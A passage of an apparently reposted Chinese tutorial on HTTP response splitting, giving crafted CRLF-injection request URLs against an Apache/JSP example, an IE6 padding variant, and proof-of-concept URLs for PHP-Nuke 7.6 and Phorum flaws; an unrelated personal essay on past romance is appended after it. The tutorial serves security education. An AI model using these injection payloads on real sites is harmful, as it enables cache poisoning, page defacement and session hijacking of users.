./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0aI’m%20Isno! HTTP/1.1

另外一个更实际的例子,对APACHE/2.0的攻击(APACHE很容易实现HTTP响应头拆分攻击,作为范例最好不过了):
这次攻击将发送三条请求,第一条用来迫使服务器对资源的高速缓存无效,第二条请求将利用HTTP响应头攻击,使得Apache自动连接第三条响应和第二条响应。
攻击具体如下:
第一次请求:

GET http://192.168.0.1/index.html HTTP/1.1(由于apache不对”/”进行缓存)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

第二次请求:

GET http://192.168.0.1/isno.jsp?lang=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0aI’m%20isno!
HTTP/1.1
Host: 192.168.0.1/r/n
User-Agent: Mozilla/4.7 [en] (WinNT; I)/r/n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*/r/n
Accept-Encoding: gzip/r/n
Accept-Language: en/r/n
Accept-Charset: iso-8859-1,*,utf-8/r/n

第三次请求:

GET http://192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

另外注意的地方:比如IE EXPLORER 6.0(SP1),由于一些机制的影响,我们不能直接的象上面那样输入,要稍微想点办法,由于其缓冲区边界为1024个字节,所以它读取第一条请求使用了1024个字节,所以第二个请求必须要从1024个字节开始为边界,所以我们提交的会是下面这样的:

http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A]… AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0aHacked-by-isno!

同样的思路,对于跨站脚本攻击的提交会是这样的:

http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
… [填充1024个A] … AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a

这里一定要谨慎。
七.通过对用户的攻击—理论分析
Squid 2.4和ISA/2000允许用户分享与服务器的连接,这样的话,很有可能存在一个HTTP响应头拆分漏洞的隐患,可以提交两次对服务器的请求,如果这两次请求存在一个延迟,这时攻击者要断开和服务器的连接,而受害的用户再给出一个对服务器的请求的时候,这样就产生了一个攻击。我们可以看出,这样的攻击,要求对与服务器断开连接的时间上做很好的控制,特别是当两次请求包的延迟比10毫秒还低的时候(在Squid 2.4上证明了这一点)。对于ISA/2000来说,攻击方式稍微要简单些,因为两个用户可能分享相同的TCP连接,所以并不需要攻击者断开与服务器的连接。
八.劫持用户页敏感信息
这个有点类似于我们所说的中间人攻击。这时候攻击者充当着两个角色:对用户来说他充当了服务器的角色,对服务器来说他充当了用户的角色,然后象一个审查员一样的工作,这样不仅可以劫持到用户的敏感信息,而且同样可以进行篡改和添加。
九. 实际的安全漏洞两则
以下我会举出一些更具体的例子来加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP响应拆分漏洞
起因是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务,缓存或解释的方式,这可能帮助诱骗客户端用户,导致跨站脚本,缓存破坏或页面劫持等漏洞。
攻击手法如下

http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE /
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EThis is a spoofed site   /

2 Phorum HTTP响应拆分漏洞
由于没能正确的验证传送给Location参数的输入,攻击者可能向HTTP首部中注入恶意的字符。这可能导致在受影响站点的用户浏览器会话中执行任意HTML和脚本代码,进而展开各种攻击,如跨站脚本、破坏Web或浏览器缓存、劫持页面等。
攻击手法如下:

http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200% /
0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%203 /
4%0d%0a%0d%0aScanned by /
PTsecurity%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates= /
30

十. 后记
感谢我的一些朋友。此篇文章献给我的妈妈!

转自http://blog.csdn.net/allyesno/article/details/406704

本文参考http://www.yiduqiang.com/crlf-http.html

过去的日子

好久没有写一些感悟性的文章了,这次忽然有了感觉,就是想写些什么。也许是歌曲听多了吗?我也不知道。不过中国好声音中确实有很多很多感动人的声音。也许这也是翻唱的魅力所在。曾经听yy的时候就有这样的感觉。有些原唱唱出来并不一定好听,或是当时并没有打动我们,而翻唱出来的,绝对是另一种感觉了。
其实这篇文章是想写一些关于恋爱经验的内容的。没有恋爱经验的时候,我们总是傻头傻脑的在谈,换句话说,叫单纯,也许那时候你也并没有去想什么,只是默默的觉得,也许这样子对她好。慢慢的你会发现,你有了她的影子,好像举手投足之间,有了那么一些联系。你的生活将会有些许那些你不曾有过的生活经历,这些都是你的另一半带给你的。因为你们不在同一个家庭,两种生活方式的结合,你会学到不少东西的。
也许有一天,你们因为一些原因分开了,你碰到了你的第二个恋爱对象,不知不觉的,你会把原来的经验带上,发觉自己好像知道怎样去谈恋爱了。比如看电影,比如送鲜花,比如一起做点浪漫的事情,比如逛街的时候帮她提包。这些东西从没有人教过你,但是随着时间的推移,你慢慢的学会了。也许这就是成长,可是代价是惨烈的。有谁不想第一次就找到自己合适的白头到老的另一半呢。此时的你也许有了自己的生活,必须面对生活的现实,现实的残酷好像摧毁了那种感觉。有人说,爱情是物质的。我不能否认,物质会占据一部分,没有物质,你们可能就不会相遇。
至此,我们变的复杂了,你会不自觉的想起你的第一次来,第一次逛街,第一次牵手,第一次接吻,第一次送花,第一次看电影,等等很多很多。是回忆,是经验的累积。忽然又想,如果我们能回到当初的纯粹将会多么好?如果当时我们能明白那么一点点,如果当时不那么混蛋…可是我们已经回不去了,这就是命运。
也许是我回忆了太多太多,还是变得简单点好,记住那些人那些事,以便回到故乡时可以出去看看,亦或是找几个老友,聊聊当年的故事。
是自己老了吗?也许有一点,不过还是迫切希望改变目前的生活状态,现在实在是太早糟糕了,也许是一种流放的感觉,也许是一种不在正确的道路上的感觉,总之,加油吧,努力让自己好起来,真正的好起来。

写于2012年9月2日夜

2012年9月10日
PS:写这些其实就是随心而写,没什么,也希望拉米不要太在意,呵呵,你要加油哦,我们一起加油。加油生活,感受生活中的美好。Bernard!